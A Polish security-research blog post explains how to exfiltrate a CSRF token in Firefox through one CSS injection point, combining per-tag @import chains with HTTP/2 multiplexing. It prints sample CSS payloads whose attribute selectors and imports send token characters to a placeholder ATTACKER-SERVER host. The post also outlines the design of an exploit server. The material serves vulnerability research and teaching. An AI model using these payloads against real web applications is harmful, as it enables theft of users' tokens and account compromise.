Preorder drugiego tomu książki sekuraka: Wprowadzenie do bezpieczeństwa IT. -15% z kodem: sekurak-book
Eksfiltracja danych w Firefoksie za pomocą CSS-ów i jednego punktu wstrzyknięcia
Kilka miesięcy temu zgłosiłem błąd bezpieczeństwa w Firefoksie związany z przetwarzaniem CSS-ów, który dostał identyfikator CVE-2019-17016. W trakcie pracy nad tym błędem, udało mi się wymyślić nową technikę eksfiltracji danych w Firefoksie przez jeden punkt wstrzyknięcia, którym podzielę się w tym poście.
Podstawy
O podstawach wykradania danych za pomocą CSS-ów pisałem już w 2017 roku na Sekuraku w tekście pt. Wykradanie danych w świetnym stylu – czyli jak wykorzystać CSS-y do ataków na webaplikację. Tutaj powtórzę podstawy oraz opowiem o jednej nowej technice, jaka została wymyślona już po napisaniu tamtego tekstu.
Założenie jest takie, że chcemy wykraść z aplikacji token CSRF z elementu <input>;
<input type="hidden" name="csrftoken" value="JAKAŚ_WARTOŚĆ">
Nie możemy używać skryptów (np. ze względu na politykę CSP), więc rozwiązaniem jest wstrzknięcie własnego stylu. Klasycznym sposobem jest użycie selektorów do atrybutów, np.
input[name='csrftoken'][value^='a'] { background: url(//ATTACKER-SERVER/leak/a); } input[name='csrftoken'][value^='b'] { background: url(//ATTACKER-SERVER/leak/b); } ... input[name='csrftoken'][value^='z'] { background: url(//ATTACKER-SERVER/leak/z); }
Jeżeli dana reguła CSS zostanie zastosowana, wówczas na serwer napastnika przyjdzie zapytanie HTTP, w którym wycieka pierwszy znak tokenu. Następnie trzeba załadować kolejny styl, który będzie już zawierał ten pierwszy znany znak i próbować wyciągnąć kolejny, np.
input[name='csrftoken'][value^='aa'] { background: url(//ATTACKER-SERVER/leak/aa); } input[name='csrftoken'][value^='ab'] { background: url(//ATTACKER-SERVER/leak/ab); } ... input[name='csrftoken'][value^='az'] { background: url(//ATTACKER-SERVER/leak/az); }
Zazwyczaj przyjmowano, że ładowanie kolejnych styli odbywa się przez przeładowanie strony umieszczonej w elemencie <iframe>.
Dopiero w 2018 roku Pele Vila miał świetny pomysł, w jaki sposób można wyciągnąć cały token w Chromie nie przeładowując strony, a wykorzystać tylko jeden punkt wstrzyknięcia i rekurencyjny import CSS-ów. Ta sama sztuczka została niezależnie odkryta w 2019 roku przez Nathaniala Lattimera (znanego jako @d0nutptr), choć z nieco innymi szczegółami. Poniżej podsumuję podejście Lattimera, bo jest bliższe temu co wymyśliłem w Firefoksie, pomimo faktu, że (co jest dość zabawne) nie słyszałem o badaniach Lattimera, gdy robiłem swoje własne. Więc w pewnym sensie dokonałem ponownego niezależnego odkrycia niezależnego odkrycia… ;)
W skrócie, pierwsze wstrzyknięcie to lista importów:
@import url(//ATTACKER-SERVER/polling?len=0); @import url(//ATTACKER-SERVER/polling?len=1); @import url(//ATTACKER-SERVER/polling?len=2); ...
I dalsze podejście jest następujące:
- Na początku, tylko pierwszy import zwraca styl; pozostałe blokują połączenie;
- Pierwszy import zwraca styl, który powoduje wyciek pierwszego znaku tokena,
- Gdy wyciek z pierwszym znakiem tokena dociera do serwera napastnika, drugi import przestaje blokować połączenie i zwraca styl, który uwzględnia już pierwszy wykradziony znak i następuje wyciek drugiego znaku,
- Gdy wyciek z drugim znakiem tokena dociera do serwera napastnika, trzeci import przestaje blokować połączenie… i tak dalej.
Ta technika działa w Chromie, ponieważ ta przeglądarka przetwarza importy asynchronicznie, więc jeśli któryś z nich przestaje blokować połączenie, Chrome natychmiast go przetwarza i stosuje.
Przetwarzanie CSS-ów w Firefoksie
Metoda z poprzedniego akapitu nie działa niestety w Firefoksie, ze względu na istotne różnice w przetwarzaniu styli w porównaniu do Chrome’a. Pokażę te różnice na kilku prostych przykładach.
Przede wszystkim, Firefox przetwarza style synchronicznie. Jeśli więc w stylu znajduje się kilka importów, Firefox nie przetworzy żadnych reguł CSS-a, póki nie pobierze wszystkich importów. Rozważmy poniższy przykład:
<style> @import '/polling/0'; @import '/polling/1'; @import '/polling/2'; </style>
Załóżmy, że pierwszy import zwraca regułę CSS, która ustawia tło strony na niebieskie, zaś pozostałe importy blokują połączenie (tj. nigdy nic nie zwracają, tylko pozostawiają otwarte połączenie HTTP). W Chromie, strona zmieni tło na niebieskie natychmiast, zaś w Firefoksie nie wydarzy się nic.
Problem można rozwiązać, umieszczając wszystkie importy w oddzielnych tagach <style>:
<style>@import '/polling/0';</style> <style>@import '/polling/1';</style> <style>@import '/polling/2';</style>
W powyższym przykładzie Firefox przetworzy wszystkie style osobno, więc strona natychmiast zmieni tło na niebieskie, zaś pozostałe importy będą czekały w kolejce.
Jednak tutaj pojawia się kolejny problem. Załóżmy, że chcemy wyciągnąć token, który ma 10 znaków:
<style>@import '/polling/0';</style> <style>@import '/polling/1';</style> <style>@import '/polling/2';</style> ... <style>@import '/polling/10';</style>
Firefox zakolejkuje natychmiast 10 importów. Po przetworzeniu pierwszego importu, Firefox zakolejkuje kolejne zapytanie z wyciekiem pierwszego znaku tokena. Problem polega na tym, że to zapytanie zostanie umieszczone na końcu kolejki, a w przeglądarce zdefiniowany jest domyślny limit 6 równoległych połączeń do pojedynczego serwera. Zapytanie z wyciekiem znaku nigdy więc do serwera nie dotrze, jako że mamy 6 innych, blokujących połączeń!
Z pomocą: HTTP/2
Limit 6 połączeń dotyczy warstwy TCP; innymi słowy w danym momencie maksymalnie może być aktywnych 6 równoległych połączeń TCP do jednego serwera. Pomyślałem w tym momencie, że z pomocą może mi przyjść HTTP/2. Jednym z najczęściej wymienianych atutów tego standardu jest możliwość wysyłania wielu zapytań HTTP na jednym połączeniu (tzw. multiplexing), co ma bardzo dobry wpływ na wydajność.
Firefox ma też limit równoległych zapytań HTTP/2, jakie można wykonać na jednym połączeniu, ale domyślnie jest on bardzo duży, bo wynosi aż 100 (w about:config jest ustawienie network.http.spdy.default-concurrent). Jeśli potrzeba więcej, można zmusić Firefoksa do utworzenia drugiego połączenia TCP, poprzez odwołanie się do serwera z inną nazwą hosta. Na przykład jeśli wykonamy 100 zapytań do https://localhost:3000, a 50 zapytań do https://127.0.0.1:3000, to Firefox utworzy dwa połączenia TCP.
Exploit
Mamy już wszystko co potrzebne do przygotowania działającego exploita. Najważniejsze założenia:
- Exploit będzie działał w oparciu o HTTP/2.
- Zostanie zdefiniowany endpoint /polling/:session/:index, który zwróci CSS-a pozwalającego wykraść znak o indeksie :index. Zapytanie będzie zblokowane, dopóki nie zostanie wcześniej wydobytych index-1 znaków. Parametr :session jest tylko po to, by odróżnić od siebie kilka sesji eksfiltracji.
- Endpoint /leak/:session/:value będzie użyty do wycieku wartości tokena. :value będzie całą wartością, nie tylko ostatnim wyekstrahowanym znakiem.
- By zmusić Firefoksa do wykonania dwóch połączeń TCP, do jednego endpointu będę się odwoływał przez https://localhost:3000, a do drugiego przez https://127.0.0.1:3000.
- Endpoint /generate będzie używany do wygenerowania przykładowego kodu CSS.
Utworzyłem testową stronę, w której celem jest wykradzenie tokenu csrftoken poprzez eksfiltrację danych. Bezpośrednio można go załadować z tego miejsca.
Kod exploita zahostowałem na GitHubie, zaś poniżej umieszczam krótki filmik pokazujący, że kod działa.
Ciekawe jest to, że dzięki użyciu HTTP/2 exploit jest niesamowicie szybki; wydobycie całego tokenu trwa mniej niż trzy sekundy.
Podsumowanie
W tym tekście pokazałem, jak można wykorzystać CSS-y do wykradania tokenów w Firefoksie, mając tylko jeden punkt wstrzyknięcia bez potrzeby przeładowywania strony. Okazało się to możliwe, dzięki dwóm faktom:
- Reguły @import musiały być oddzielane do różnych tagów <style>, żeby ładowanie późniejszych styli nie zostało zablokowane przez wcześniejsze,
- By obejść limit równoległych połączeń TCP, exploit musi być serwowany po HTTP/2.
— Michał Bentkowski; prowadzi w Securitum szkolenia z bezpieczeństwa frontendu, na których są także prostsze tematy
Brak komentarzy, ale artykuł klasa światowa.
Piszę się eksterminacja, macie błąd w title :)
Fajny artykuł. Ja kombinowałem z podmianą css na ff przez Content-type: multipart/x-mixed-replace ale cośtam nie szło, chyba już niewspierane.
Uczta dla oczu i kory mózgowej :)
propsy :)